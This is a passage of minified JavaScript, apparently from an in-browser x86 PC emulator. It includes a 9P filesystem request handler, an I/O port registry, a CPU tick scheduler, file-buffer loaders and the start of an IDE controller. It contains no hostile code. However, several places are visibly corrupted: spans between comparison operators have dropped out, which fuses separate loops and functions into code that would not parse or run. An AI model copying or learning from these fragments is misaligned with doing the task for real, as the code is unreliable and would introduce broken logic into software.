8:e=this.fs.GetTotalSize();b=this.fs.GetSpace();d=[16914839];d[1]=this.BLOCKSIZE;d[2]=Math.floor(b/d[1]);d[3]=d[2]-Math.floor(e/d[1]);d[4]=d[2]-Math.floor(e/d[1]);d[5]=this.fs.CountUsedInodes();d[6]=this.fs.CountFreeInodes();d[7]=0;d[8]=256;e=v.Marshall("wwddddddw".split(""),d,this.replybuffer,7);this.BuildReply(g, +f,e);this.SendReply(a);break;case 112:case 12:d=v.Unmarshall(["w","w"],b,c);var k=d[0];c=d[1];y.Debug("[open] fid="+k+", mode="+c);b=this.fids[k].inodeid;var l=this.fs.GetInode(b);y.Debug("file open "+this.fids[k].dbg_name);e=this.fs.OpenInode(b,c);this.fs.AddEvent(this.fids[k].inodeid,function(){y.Debug("file opened "+this.fids[k].dbg_name+" tag:"+f);var t=[];t[0]=l.qid;t[1]=this.msize-24;v.Marshall(["Q","w"],t,this.replybuffer,7);this.BuildReply(g,f,17);this.SendReply(a)}.bind(this));break;case 70:d= +v.Unmarshall(["w","w","s"],b,c);b=d[0];k=d[1];e=d[2];y.Debug("[link] dfid="+b+", name="+e);e=this.fs.Link(this.fids[b].inodeid,this.fids[k].inodeid,e);if(0>e){this.SendError(f,-1===e?"Operation not permitted":"Unknown error: "+-e,-e);this.SendReply(a);break}this.BuildReply(g,f,0);this.SendReply(a);break;case 16:d=v.Unmarshall(["w","s","s","w"],b,c);k=d[0];e=d[1];b=d[2];d=d[3];y.Debug("[symlink] fid="+k+", name="+e+", symgt="+b+", gid="+d);b=this.fs.CreateSymlink(e,this.fids[k].inodeid,b);l=this.fs.GetInode(b); +l.uid=this.fids[k].uid;l.gid=d;v.Marshall(["Q"],[l.qid],this.replybuffer,7);this.BuildReply(g,f,13);this.SendReply(a);break;case 18:d=v.Unmarshall("wswwww".split(""),b,c);k=d[0];e=d[1];c=d[2];b=d[3];var m=d[4];d=d[5];y.Debug("[mknod] fid="+k+", name="+e+", major="+b+", minor="+m);b=this.fs.CreateNode(e,this.fids[k].inodeid,b,m);l=this.fs.GetInode(b);l.mode=c;l.uid=this.fids[k].uid;l.gid=d;v.Marshall(["Q"],[l.qid],this.replybuffer,7);this.BuildReply(g,f,13);this.SendReply(a);break;case 22:d=v.Unmarshall(["w"], +b,c);k=d[0];l=this.fs.GetInode(this.fids[k].inodeid);y.Debug("[readlink] fid="+k+" name="+this.fids[k].dbg_name+" target="+l.symlink);e=v.Marshall(["s"],[l.symlink],this.replybuffer,7);this.BuildReply(g,f,e);this.SendReply(a);break;case 72:d=v.Unmarshall(["w","s","w","w"],b,c);k=d[0];e=d[1];c=d[2];d=d[3];y.Debug("[mkdir] fid="+k+", name="+e+", mode="+c+", gid="+d);b=this.fs.CreateDirectory(e,this.fids[k].inodeid);l=this.fs.GetInode(b);l.mode=c|ha;l.uid=this.fids[k].uid;l.gid=d;v.Marshall(["Q"],[l.qid], +this.replybuffer,7);this.BuildReply(g,f,13);this.SendReply(a);break;case 14:d=v.Unmarshall(["w","s","w","w","w"],b,c);k=d[0];e=d[1];b=d[2];c=d[3];d=d[4];this.bus.send("9p-create",[e,this.fids[k].inodeid]);y.Debug("[create] fid="+k+", name="+e+", flags="+b+", mode="+c+", gid="+d);b=this.fs.CreateFile(e,this.fids[k].inodeid);this.fids[k].inodeid=b;this.fids[k].type=1;this.fids[k].dbg_name=e;l=this.fs.GetInode(b);l.uid=this.fids[k].uid;l.gid=d;l.mode=c;v.Marshall(["Q","w"],[l.qid,this.msize-24],this.replybuffer, +7);this.BuildReply(g,f,17);this.SendReply(a);break;case 52:d=v.Unmarshall("wbwddws".split(""),b,c);k=d[0];b=d[2];e=0===d[4]?Infinity:d[4];d=this.fs.DescribeLock(d[1],d[3],e,d[5],d[6]);y.Debug("[lock] fid="+k+", type="+ca[d.type]+", start="+d.start+", length="+d.length+", proc_id="+d.proc_id);e=this.fs.Lock(this.fids[k].inodeid,d,b);v.Marshall(["b"],[e],this.replybuffer,7);this.BuildReply(g,f,1);this.SendReply(a);break;case 54:d=v.Unmarshall("wbddws".split(""),b,c);k=d[0];e=0===d[3]?Infinity:d[3]; +d=this.fs.DescribeLock(d[1],d[2],e,d[4],d[5]);y.Debug("[getlock] fid="+k+", type="+ca[d.type]+", start="+d.start+", length="+d.length+", proc_id="+d.proc_id);e=this.fs.GetLock(this.fids[k].inodeid,d);e||(e=d,e.type=2);e=v.Marshall(["b","d","d","w","s"],[e.type,e.start,Infinity===e.length?0:e.length,e.proc_id,e.client_id],this.replybuffer,7);this.BuildReply(g,f,e);this.SendReply(a);break;case 24:d=v.Unmarshall(["w","d"],b,c);k=d[0];l=this.fs.GetInode(this.fids[k].inodeid);y.Debug("[getattr]: fid="+ +k+" name="+this.fids[k].dbg_name+" request mask="+d[1]);if(!l||l.status===ia){y.Debug("getattr: unlinked");this.SendError(f,"No such file or directory",2);this.SendReply(a);break}d[0]|=4096;d[0]=d[1];d[1]=l.qid;d[2]=l.mode;d[3]=l.uid;d[4]=l.gid;d[5]=l.nlinks;d[6]=l.major<<8|l.minor;d[7]=l.size;d[8]=this.BLOCKSIZE;d[9]=Math.floor(l.size/512+1);d[10]=l.atime;d[11]=0;d[12]=l.mtime;d[13]=0;d[14]=l.ctime;d[15]=0;d[16]=0;d[17]=0;d[18]=0;d[19]=0;v.Marshall("dQwwwddddddddddddddd".split(""),d,this.replybuffer, +7);this.BuildReply(g,f,153);this.SendReply(a);break;case 26:d=v.Unmarshall("wwwwwddddd".split(""),b,c);k=d[0];l=this.fs.GetInode(this.fids[k].inodeid);y.Debug("[setattr]: fid="+k+" request mask="+d[1]+" name="+this.fids[k].dbg_name);d[1]&1&&(l.mode=d[2]);d[1]&2&&(l.uid=d[3]);d[1]&4&&(l.gid=d[4]);d[1]&16&&(l.atime=Math.floor((new Date).getTime()/1E3));d[1]&32&&(l.mtime=Math.floor((new Date).getTime()/1E3));d[1]&64&&(l.ctime=Math.floor((new Date).getTime()/1E3));d[1]&128&&(l.atime=d[6]);d[1]&256&&(l.mtime= +d[8]);d[1]&8&&await this.fs.ChangeSize(this.fids[k].inodeid,d[5]);this.BuildReply(g,f,0);this.SendReply(a);break;case 50:d=v.Unmarshall(["w","d"],b,c);k=d[0];this.BuildReply(g,f,0);this.SendReply(a);break;case 40:case 116:d=v.Unmarshall(["w","d","w"],b,c);k=d[0];e=d[1];m=d[2];l=this.fs.GetInode(this.fids[k].inodeid);40==g&&y.Debug("[treaddir]: fid="+k+" offset="+e+" count="+m);116==g&&y.Debug("[read]: fid="+k+" ("+this.fids[k].dbg_name+") offset="+e+" count="+m+" fidtype="+this.fids[k].type);if(!l|| +l.status===ia){y.Debug("read/treaddir: unlinked");this.SendError(f,"No such file or directory",2);this.SendReply(a);break}if(2==this.fids[k].type)for(l.caps.lengthl.size&&(m=0),this.bus.send("9p-read-start",[this.fids[k].dbg_name]),d=await this.fs.Read(d, +e,m),this.bus.send("9p-read-end",[this.fids[k].dbg_name,m]),d&&this.replybuffer.set(d,11);v.Marshall(["w"],[m],this.replybuffer,7);this.BuildReply(g,f,4+m);this.SendReply(a);break;case 118:d=v.Unmarshall(["w","d","w"],b,c);k=d[0];e=d[1];m=d[2];d=this.fids[k].dbg_name;y.Debug("[write]: fid="+k+" ("+d+") offset="+e+" count="+m+" fidtype="+this.fids[k].type);if(2===this.fids[k].type){this.SendError(f,"Setxattr not supported",95);this.SendReply(a);break}else await this.fs.Write(this.fids[k].inodeid,e, +m,b.subarray(c.offset));this.bus.send("9p-write-end",[d,m]);v.Marshall(["w"],[m],this.replybuffer,7);this.BuildReply(g,f,4);this.SendReply(a);break;case 74:d=v.Unmarshall(["w","s","w","s"],b,c);e=d[0];b=d[1];c=d[2];d=d[3];y.Debug("[renameat]: oldname="+b+" newname="+d);e=await this.fs.Rename(this.fids[e].inodeid,b,this.fids[c].inodeid,d);if(0>e){this.SendError(f,-2===e?"No such file or directory":-1===e?"Operation not permitted":-39===e?"Directory not empty":"Unknown error: "+-e,-e);this.SendReply(a); +break}this.BuildReply(g,f,0);this.SendReply(a);break;case 76:d=v.Unmarshall(["w","s","w"],b,c);c=d[0];e=d[1];b=d[2];y.Debug("[unlink]: dirfd="+c+" name="+e+" flags="+b);k=this.fs.Search(this.fids[c].inodeid,e);if(-1==k){this.SendError(f,"No such file or directory",2);this.SendReply(a);break}e=this.fs.Unlink(this.fids[c].inodeid,e);if(0>e){this.SendError(f,-39===e?"Directory not empty":-1===e?"Operation not permitted":"Unknown error: "+-e,-e);this.SendReply(a);break}this.BuildReply(g,f,0);this.SendReply(a); +break;case 100:d=v.Unmarshall(["w","s"],b,c);y.Debug("[version]: msize="+d[0]+" version="+d[1]);this.msize=d[0];e=v.Marshall(["w","s"],[this.msize,this.VERSION],this.replybuffer,7);this.BuildReply(g,f,e);this.SendReply(a);break;case 104:d=v.Unmarshall(["w","w","s","s","w"],b,c);k=d[0];e=d[4];y.Debug("[attach]: fid="+k+" afid="+A(d[1])+" uname="+d[2]+" aname="+d[3]);this.fids[k]=this.Createfid(0,1,e,"");l=this.fs.GetInode(this.fids[k].inodeid);v.Marshall(["Q"],[l.qid],this.replybuffer,7);this.BuildReply(g, +f,13);this.SendReply(a);this.bus.send("9p-attach");break;case 108:d=v.Unmarshall(["h"],b,c);y.Debug("[flush] "+f);this.BuildReply(g,f,0);this.SendReply(a);break;case 110:d=v.Unmarshall(["w","w","h"],b,c);k=d[0];m=d[1];var n=d[2];y.Debug("[walk]: fid="+d[0]+" nwfid="+d[1]+" nwname="+n);if(0==n){this.fids[m]=this.Createfid(this.fids[k].inodeid,1,this.fids[k].uid,this.fids[k].dbg_name);v.Marshall(["h"],[0],this.replybuffer,7);this.BuildReply(g,f,2);this.SendReply(a);break}e=[];for(d=0;db;b++)this.ports[b]=this.create_empty_entry();var c=a.memory_size[0];for(b=0;b<<17>>0,8);return 255},function(d,e){A(d>>>0,8);A(e,2)},function(d){A(d>>>0,8);return-1},function(d,e){A(d>>>0,8);A(e>>>0,8)})} +B.prototype.create_empty_entry=function(){return{read8:this.empty_port_read8,read16:this.empty_port_read16,read32:this.empty_port_read32,write8:this.empty_port_write,write16:this.empty_port_write,write32:this.empty_port_write,device:void 0}};B.prototype.empty_port_read8=function(){return 255};B.prototype.empty_port_read16=function(){return 65535};B.prototype.empty_port_read32=function(){return-1};B.prototype.empty_port_write=function(){}; +B.prototype.register_read=function(a,b,c,d,e){c&&(this.ports[a].read8=c);d&&(this.ports[a].read16=d);e&&(this.ports[a].read32=e);this.ports[a].device=b};B.prototype.register_write=function(a,b,c,d,e){c&&(this.ports[a].write8=c);d&&(this.ports[a].write16=d);e&&(this.ports[a].write32=e);this.ports[a].device=b}; +B.prototype.register_read_consecutive=function(a,b,c,d,e,g){function f(){return c.call(this)|d.call(this)<<8}function k(){return e.call(this)|g.call(this)<<8}function l(){return c.call(this)|d.call(this)<<8|e.call(this)<<16|g.call(this)<<24}e&&g?(this.register_read(a,b,c,f,l),this.register_read(a+1,b,d),this.register_read(a+2,b,e,k),this.register_read(a+3,b,g)):(this.register_read(a,b,c,f),this.register_read(a+1,b,d))}; +B.prototype.register_write_consecutive=function(a,b,c,d,e,g){function f(m){c.call(this,m&255);d.call(this,m>>8&255)}function k(m){e.call(this,m&255);g.call(this,m>>8&255)}function l(m){c.call(this,m&255);d.call(this,m>>8&255);e.call(this,m>>16&255);g.call(this,m>>>24)}e&&g?(this.register_write(a,b,c,f,l),this.register_write(a+1,b,d),this.register_write(a+2,b,e,k),this.register_write(a+3,b,g)):(this.register_write(a,b,c,f),this.register_write(a+1,b,d))}; +B.prototype.mmap_read32_shim=function(a){var b=this.cpu.memory_map_read8[a>>>17];return b(a)|b(a+1)<<8|b(a+2)<<16|b(a+3)<<24};B.prototype.mmap_write32_shim=function(a,b){var c=this.cpu.memory_map_write8[a>>>17];c(a,b&255);c(a+1,b>>8&255);c(a+2,b>>16&255);c(a+3,b>>>24)}; +B.prototype.mmap_register=function(a,b,c,d,e,g){A(a>>>0,8);A(b,8);e||(e=this.mmap_read32_shim.bind(this));g||(g=this.mmap_write32_shim.bind(this));for(a>>>=17;0>>0,8),this.get_port_description(a));return c.write32.call(c.device,b)}; +B.prototype.port_read8=function(a){var b=this.ports[a];b.read8===this.empty_port_read8&&(A(a,4),this.get_port_description(a));b=b.read8.call(b.device);A(a);return b};B.prototype.port_read16=function(a){var b=this.ports[a];b.read16===this.empty_port_read16&&(A(a,4),this.get_port_description(a));b=b.read16.call(b.device);A(a);return b};B.prototype.port_read32=function(a){var b=this.ports[a];b.read32===this.empty_port_read32&&(A(a,4),this.get_port_description(a));return b.read32.call(b.device)}; +var ja={4:"PORT_DMA_ADDR_2",5:"PORT_DMA_CNT_2",10:"PORT_DMA1_MASK_REG",11:"PORT_DMA1_MODE_REG",12:"PORT_DMA1_CLEAR_FF_REG",13:"PORT_DMA1_MASTER_CLEAR",32:"PORT_PIC1_CMD",33:"PORT_PIC1_DATA",64:"PORT_PIT_COUNTER0",65:"PORT_PIT_COUNTER1",66:"PORT_PIT_COUNTER2",67:"PORT_PIT_MODE",96:"PORT_PS2_DATA",97:"PORT_PS2_CTRLB",100:"PORT_PS2_STATUS",112:"PORT_CMOS_INDEX",113:"PORT_CMOS_DATA",128:"PORT_DIAG",129:"PORT_DMA_PAGE_2",146:"PORT_A20",160:"PORT_PIC2_CMD",161:"PORT_PIC2_DATA",178:"PORT_SMI_CMD",179:"PORT_SMI_STATUS", +212:"PORT_DMA2_MASK_REG",214:"PORT_DMA2_MODE_REG",218:"PORT_DMA2_MASTER_CLEAR",240:"PORT_MATH_CLEAR",368:"PORT_ATA2_CMD_BASE",496:"PORT_ATA1_CMD_BASE",632:"PORT_LPT2",744:"PORT_SERIAL4",760:"PORT_SERIAL2",884:"PORT_ATA2_CTRL_BASE",888:"PORT_LPT1",1E3:"PORT_SERIAL3",1008:"PORT_FD_BASE",1010:"PORT_FD_DOR",1012:"PORT_FD_STATUS",1013:"PORT_FD_DATA",1014:"PORT_HD_DATA",1015:"PORT_FD_DIR",1016:"PORT_SERIAL1",3320:"PORT_PCI_CMD",3321:"PORT_PCI_REBOOT",3324:"PORT_PCI_DATA",1026:"PORT_BIOS_DEBUG",1296:"PORT_QEMU_CFG_CTL", +1297:"PORT_QEMU_CFG_DATA",45056:"PORT_ACPI_PM_BASE",45312:"PORT_SMB_BASE",35072:"PORT_BIOS_APM"};B.prototype.get_port_description=function(a){return ja[a]?" ("+ja[a]+")":""};function D(a,b){this.stopping=this.running=!1;this.tick_counter=0;this.worker=null;this.cpu=new E(a,b,()=>{this.idle&&this.next_tick(0)});this.bus=a;a.register("cpu-init",this.init,this);a.register("cpu-run",this.run,this);a.register("cpu-stop",this.stop,this);a.register("cpu-restart",this.restart,this);this.register_yield()}D.prototype.run=function(){this.stopping=!1;this.running||(this.running=!0,this.bus.send("emulator-started"));this.next_tick(0)}; +D.prototype.do_tick=function(){if(this.stopping||!this.running)this.stopping=this.running=!1,this.bus.send("emulator-stopped");else{this.idle=!1;var a=this.cpu.main_loop();this.next_tick(a)}};D.prototype.next_tick=function(a){const b=++this.tick_counter;this.idle=!0;this.yield(a,b)};D.prototype.yield_callback=function(a){a===this.tick_counter&&this.do_tick()};D.prototype.stop=function(){this.running&&(this.stopping=!0)};D.prototype.destroy=function(){this.unregister_yield()}; +D.prototype.restart=function(){this.cpu.reset_cpu();this.cpu.load_bios()};D.prototype.init=function(a){this.cpu.init(a,this.bus);this.bus.send("emulator-ready")}; +if("undefined"!==typeof process)D.prototype.yield=function(a,b){1>a?global.setImmediate(c=>this.yield_callback(c),b):setTimeout(c=>this.yield_callback(c),a,b)},D.prototype.register_yield=function(){},D.prototype.unregister_yield=function(){};else if("undefined"!==typeof Worker){function a(){globalThis.onmessage=function(b){const c=b.data.t;1>c?postMessage(b.data.tick):setTimeout(()=>postMessage(b.data.tick),c)}}D.prototype.register_yield=function(){const b=URL.createObjectURL(new Blob(["("+a.toString()+ +")()"],{type:"text/javascript"}));this.worker=new Worker(b);this.worker.onmessage=c=>this.yield_callback(c.data);URL.revokeObjectURL(b)};D.prototype.yield=function(b,c){this.worker.postMessage({t:b,tick:c})};D.prototype.unregister_yield=function(){this.worker&&this.worker.terminate();this.worker=null}}else D.prototype.yield=function(a){setTimeout(()=>{this.do_tick()},a)},D.prototype.register_yield=function(){},D.prototype.unregister_yield=function(){};D.prototype.save_state=function(){return this.cpu.save_state()}; +D.prototype.restore_state=function(a){return this.cpu.restore_state(a)};if("object"===typeof performance&&performance.now)D.microtick=performance.now.bind(performance);else if("function"===typeof require){const {performance:a}=require("perf_hooks");D.microtick=a.now.bind(a)}else D.microtick="object"===typeof process&&process.hrtime?function(){var a=process.hrtime();return 1E3*a[0]+a[1]/1E6}:Date.now;var F=F||{};F.exportSymbol=function(){};F.exportProperty=function(){};var r=r||{};r.pads=function(a,b){return(a||0===a?a+"":"").padEnd(b," ")};r.pad0=function(a,b){return(a||0===a?a+"":"").padStart(b,"0")};r.zeros=function(a){return Array(a).fill(0)};r.range=function(a){return Array.from(Array(a).keys())}; +r.view=function(a,b,c,d){return new Proxy({},{get:function(e,g){e=new a(b.buffer,c,d);const f=e[g];if("function"===typeof f)return f.bind(e);/^\d+$/.test(g);return f},set:function(e,g,f){/^\d+$/.test(g);(new a(b.buffer,c,d))[g]=f;return!0}})};function A(a,b){a=a?a.toString(16):"";return"0x"+r.pad0(a.toUpperCase(),b||1)} +if("undefined"!==typeof crypto&&crypto.getRandomValues){let a=new Int32Array(1);r.get_rand_int=function(){crypto.getRandomValues(a);return a[0]}}else if("undefined"!==typeof require){const a=require("crypto");r.get_rand_int=function(){return a.randomBytes(4).readInt32LE(0)}} +(function(){if("function"===typeof Math.clz32)r.int_log2_byte=function(d){return 31-Math.clz32(d)},r.int_log2=function(d){return 31-Math.clz32(d)};else{for(var a=new Int8Array(256),b=0,c=-2;256>b;b++)b&b-1||c++,a[b]=c;r.int_log2_byte=function(d){return a[d]};r.int_log2=function(d){d>>>=0;var e=d>>>16;if(e){var g=e>>>8;return g?24+a[g]:16+a[e]}return(g=d>>>8)?8+a[g]:a[d]}}})(); +function ka(a){var b=new Uint8Array(a),c,d;this.length=0;this.push=function(e){this.length!==a&&this.length++;b[d]=e;d=d+1&a-1};this.shift=function(){if(this.length){var e=b[c];c=c+1&a-1;this.length--;return e}return-1};this.peek=function(){return this.length?b[c]:-1};this.clear=function(){this.length=d=c=0};this.clear()}function la(a){this.size=a;this.data=new Float32Array(a);this.length=this.end=this.start=0} +la.prototype.push=function(a){this.length===this.size?this.start=this.start+1&this.size-1:this.length++;this.data[this.end]=a;this.end=this.end+1&this.size-1};la.prototype.shift=function(){if(this.length){var a=this.data[this.start];this.start=this.start+1&this.size-1;this.length--;return a}}; +la.prototype.shift_block=function(a){var b=new Float32Array(a);a>this.length&&(a=this.length);var c=this.start+a,d=this.data.subarray(this.start,c);b.set(d);c>=this.size&&(c-=this.size,b.set(this.data.subarray(0,c),d.length));this.start=c;this.length-=a;return b};la.prototype.peek=function(){if(this.length)return this.data[this.start]};la.prototype.clear=function(){this.length=this.end=this.start=0}; +r.Bitmap=function(a){"number"===typeof a?this.view=new Uint8Array(a+7>>3):a instanceof ArrayBuffer&&(this.view=new Uint8Array(a))};r.Bitmap.prototype.set=function(a,b){const c=a>>3;a=1<<(a&7);this.view[c]=b?this.view[c]|a:this.view[c]&~a};r.Bitmap.prototype.get=function(a){return this.view[a>>3]>>(a&7)&1};r.Bitmap.prototype.get_buffer=function(){return this.view.buffer};r.load_file="undefined"===typeof XMLHttpRequest?ma:na; +function na(a,b,c){function d(){const l=c||0;setTimeout(()=>{na(a,b,l+1)},1E3*([1,1,2,3,5,8,13,21][l]||34))}var e=new XMLHttpRequest;e.open(b.method||"get",a,!0);e.responseType=b.as_json?"json":"arraybuffer";if(b.headers)for(var g=Object.keys(b.headers),f=0;fe.status&&d();else if(e.response){if(b.range){let l=e.getResponseHeader("Content-Encoding");l&&"identity"!==l&&console.error("Server sent Content-Encoding in response to ranged request",{filename:a,enc:l})}b.done&&b.done(e.response,e)}};e.onerror=function(l){console.error("Loading the image "+a+" failed",l);d()};b.progress&&(e.onprogress= +function(l){b.progress(l)});e.send(null)}function ma(a,b){let c=require("fs");b.range?c.open(a,"r",(d,e)=>{if(d)throw d;d=b.range.length;var g=Buffer.allocUnsafe(d);c.read(e,g,0,d,b.range.start,f=>{if(f)throw f;b.done&&b.done(new Uint8Array(g));c.close(e,k=>{if(k)throw k;})})}):c.readFile(a,{encoding:b.as_json?"utf-8":null},function(d,e){d?console.log("Could not read file:",a,d):(d=e,d=b.as_json?JSON.parse(d):(new Uint8Array(d)).buffer,b.done(d))})} +r.read_sized_string_from_mem=function(a,b,c){return String.fromCharCode(...(new Uint8Array(a.buffer,b>>>0,c>>>0)))};(function(){function a(f){this.buffer=f;this.byteLength=f.byteLength;this.onprogress=this.onload=void 0}function b(f,k,l){this.filename=f;this.byteLength=k;this.block_cache=new Map;this.block_cache_is_write=new Set;this.fixed_chunk_size=l;this.cache_reads=!!l;this.onprogress=this.onload=void 0}function c(f,k,l,m,n){const p=f.match(/\.[^\.]+(\.zst)?$/);this.extension=p?p[0]:"";this.basename=f.substring(0,f.length-this.extension.length);this.is_zstd=this.extension.endsWith(".zst");this.basename.endsWith("/")|| +(this.basename+="-");this.block_cache=new Map;this.block_cache_is_write=new Set;this.byteLength=k;this.fixed_chunk_size=l;this.partfile_alt_format=!!m;this.zstd_decompress=n;this.cache_reads=!!l;this.onprogress=this.onload=void 0}function d(f){this.file=f;this.byteLength=f.size;1073741824>20)+" MB ...");this.buffer=new ArrayBuffer(f.size);this.onprogress=this.onload=void 0}function e(f){this.file=f;this.byteLength=f.size;this.block_cache= +new Map;this.block_cache_is_write=new Set;this.onprogress=this.onload=void 0}r.SyncBuffer=a;r.AsyncXHRBuffer=b;r.AsyncXHRPartfileBuffer=c;r.AsyncFileBuffer=e;r.SyncFileBuffer=d;r.buffer_from_object=function(f,k){if(f.buffer instanceof ArrayBuffer)return new r.SyncBuffer(f.buffer);if("undefined"!==typeof File&&f.buffer instanceof File)return k=f.async,void 0===k&&(k=268435456<=f.buffer.size),k?new r.AsyncFileBuffer(f.buffer):new r.SyncFileBuffer(f.buffer);if(f.url)return f.use_parts?new r.AsyncXHRPartfileBuffer(f.url, +f.size,f.fixed_chunk_size,!1,k):new r.AsyncXHRBuffer(f.url,f.size,f.fixed_chunk_size)};a.prototype.load=function(){this.onload&&this.onload({buffer:this.buffer})};a.prototype.get=function(f,k,l){l(new Uint8Array(this.buffer,f,k))};a.prototype.set=function(f,k,l){(new Uint8Array(this.buffer,f,k.byteLength)).set(k);l()};a.prototype.get_buffer=function(f){f(this.buffer)};a.prototype.get_state=function(){const f=[];f[0]=this.byteLength;f[1]=new Uint8Array(this.buffer);return f};a.prototype.set_state= +function(f){this.byteLength=f[0];this.buffer=f[1].slice().buffer};b.prototype.load=function(){void 0!==this.byteLength?this.onload&&this.onload(Object.create(null)):g(this.filename,(f,k)=>{if(f)throw Error("Cannot use: "+this.filename+". "+f);this.byteLength=k;this.onload&&this.onload(Object.create(null))})};b.prototype.get_from_cache=function(f,k){var l=k/256;f/=256;for(var m=0;m{l?k(l):k(null,m.size)})}:function(f,k){r.load_file(f,{done:(l,m)=>{l=m.getResponseHeader("Content-Range")||"";(m=l.match(/\/(\d+)\s*$/))?k(null,+m[1]):k("`Range: bytes=...` header not supported (Got `"+l+"`)")},headers:{Range:"bytes=0-0","X-Accept-Encoding":"identity"}})}})();function G(a,b,c,d,e,g){this.master=new H(this,a,b,d,e,0,g);this.slave=new H(this,a,c,!1,e,1,g);this.current_interface=this.master;this.cpu=a;0===e?(this.ata_port=496,this.irq=14,this.pci_id=240):1===e&&(this.ata_port=368,this.irq=15,this.pci_id=248);this.ata_port_high=this.ata_port|516;this.master_port=46080;this.pci_space=[134,128,16,112,5,0,160,2,0,128,1,1,0,0,0,0,this.ata_port&255|1,this.ata_port>>8,0,0,this.ata_port_high&255|1,this.ata_port_high>>8,0,0,0,0,0,0,0,0,0,0,this.master_port&255|1, +this.master_port>>8,0,0,0,0,0,0,0,0,0,0,67,16,212,130,0,0,0,0,0,0,0,0,0,0,0,0,this.irq,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0];this.pci_bars=[{size:8},{size:4},void 0,void 0,{size:16}];this.name="ide"+e;this.device_control=2;a.io.register_read(this.ata_port|7,this,function(){this.cpu.device_lower_irq(this.irq);return this.read_status()});a.io.register_read(this.ata_port_high| +2,this,this.read_status);a.io.register_write(this.ata_port_high|2,this,this.write_control);a.io.register_read(this.ata_port|0,this,function(){return this.current_interface.read_data(1)},function(){return this.current_interface.read_data(2)},function(){return this.current_interface.read_data(4)});a.io.register_read(this.ata_port|1,this,function(){A(this.current_interface.error&255);return this.current_interface.error&255});a.io.register_read(this.ata_port|2,this,function(){A(this.current_interface.bytecount& +255);return this.current_interface.bytecount&255});a.io.register_read(this.ata_port|3,this,function(){A(this.current_interface.sector&255);return this.current_interface.sector&255});a.io.register_read(this.ata_port|4,this,function(){A(this.current_interface.cylinder_low&255);return this.current_interface.cylinder_low&255});a.io.register_read(this.ata_port|5,this,function(){A(this.current_interface.cylinder_high&255);return this.current_interface.cylinder_high&255});a.io.register_read(this.ata_port| +6,this,function(){return this.current_interface.drive_head&255});a.io.register_write(this.ata_port|0,this,function(f){this.current_interface.write_data_port8(f)},function(f){this.current_interface.write_data_port16(f)},function(f){this.current_interface.write_data_port32(f)});a.io.register_write(this.ata_port|1,this,function(f){A(f);this.master.lba_count=(this.master.lba_count<<8|f)&65535;this.slave.lba_count=(this.slave.lba_count<<8|f)&65535});a.io.register_write(this.ata_port|2,this,function(f){A(f); +this.master.bytecount=(this.master.bytecount<<8|f)&65535;this.slave.bytecount=(this.slave.bytecount<<8|f)&65535});a.io.register_write(this.ata_port|3,this,function(f){A(f);this.master.sector=(this.master.sector<<8|f)&65535;this.slave.sector=(this.slave.sector<<8|f)&65535});a.io.register_write(this.ata_port|4,this,function(f){A(f);this.master.cylinder_low=(this.master.cylinder_low<<8|f)&65535;this.slave.cylinder_low=(this.slave.cylinder_low<<8|f)&65535});a.io.register_write(this.ata_port|5,this,function(f){A(f); +this.master.cylinder_high=(this.master.cylinder_high<<8|f)&65535;this.slave.cylinder_high=(this.slave.cylinder_high<<8|f)&65535});a.io.register_write(this.ata_port|6,this,function(f){var k=f&16;A(f,2);this.current_interface=k?this.slave:this.master;this.master.drive_head=f;this.slave.drive_head=f;this.master.is_lba=this.slave.is_lba=f>>6&1;this.master.head=this.slave.head=f&15});this.dma_command=this.dma_status=this.prdt_addr=0;a.io.register_write(this.ata_port|7,this,function(f){this.cpu.device_lower_irq(this.irq); +this.current_interface.ata_command(f)});a.io.register_read(this.master_port|4,this,void 0,void 0,this.dma_read_addr);a.io.register_write(this.master_port|4,this,void 0,void 0,this.dma_set_addr);a.io.register_read(this.master_port,this,this.dma_read_command8,void 0,this.dma_read_command);a.io.register_write(this.master_port,this,this.dma_write_command8,void 0,this.dma_write_command);a.io.register_read(this.master_port|2,this,this.dma_read_status);a.io.register_write(this.master_port|2,this,this.dma_write_status); +a.io.register_read(this.master_port|8,this,function(){return 0});a.io.register_read(this.master_port|10,this,function(){return 0});a.devices.pci.register_device(this)}G.prototype.read_status=function(){if(this.current_interface.buffer){var a=this.current_interface.status;A(a,2);return a}return 0};G.prototype.write_control=function(a){A(a,2);a&4&&(this.cpu.device_lower_irq(this.irq),this.master.device_reset(),this.slave.device_reset());this.device_control=a}; +G.prototype.dma_read_addr=function(){A(this.prdt_addr,8);return this.prdt_addr};G.prototype.dma_set_addr=function(a){A(a,8);this.prdt_addr=a};G.prototype.dma_read_status=function(){A(this.dma_status);return this.dma_status};G.prototype.dma_write_status=function(a){A(a);this.dma_status&=~(a&6)};G.prototype.dma_read_command=function(){return this.dma_read_command8()|this.dma_read_status()<<16};G.prototype.dma_read_command8=function(){A(this.dma_command);return this.dma_command}; +G.prototype.dma_write_command=function(a){A(a);this.dma_write_command8(a&255);this.dma_write_status(a>>16&255)}; +G.prototype.dma_write_command8=function(a){A(a);let b=this.dma_command;this.dma_command=a&9;if((b&1)!==(a&1))if(0===(a&1))this.dma_status&=-2;else switch(this.dma_status|=1,this.current_interface.current_command){case 37:case 200:this.current_interface.do_ata_read_sectors_dma();break;case 202:case 53:this.current_interface.do_ata_write_sectors_dma();break;case 160:this.current_interface.do_atapi_dma();break;default:A(this.current_interface.current_command)}}; +G.prototype.push_irq=function(){0===(this.device_control&2)&&(this.dma_status|=4,this.cpu.device_raise_irq(this.irq))};G.prototype.get_state=function(){var a=[];a[0]=this.master;a[1]=this.slave;a[2]=this.ata_port;a[3]=this.irq;a[4]=this.pci_id;a[5]=this.ata_port_high;a[6]=this.master_port;a[7]=this.name;a[8]=this.device_control;a[9]=this.prdt_addr;a[10]=this.dma_status;a[11]=this.current_interface===this.master;a[12]=this.dma_command;return a}; +G.prototype.set_state=function(a){this.master.set_state(a[0]);this.slave.set_state(a[1]);this.ata_port=a[2];this.irq=a[3];this.pci_id=a[4];this.ata_port_high=a[5];this.master_port=a[6];this.name=a[7];this.device_control=a[8];this.prdt_addr=a[9];this.dma_status=a[10];this.current_interface=a[11]?this.master:this.slave;this.dma_command=a[12]}; +function 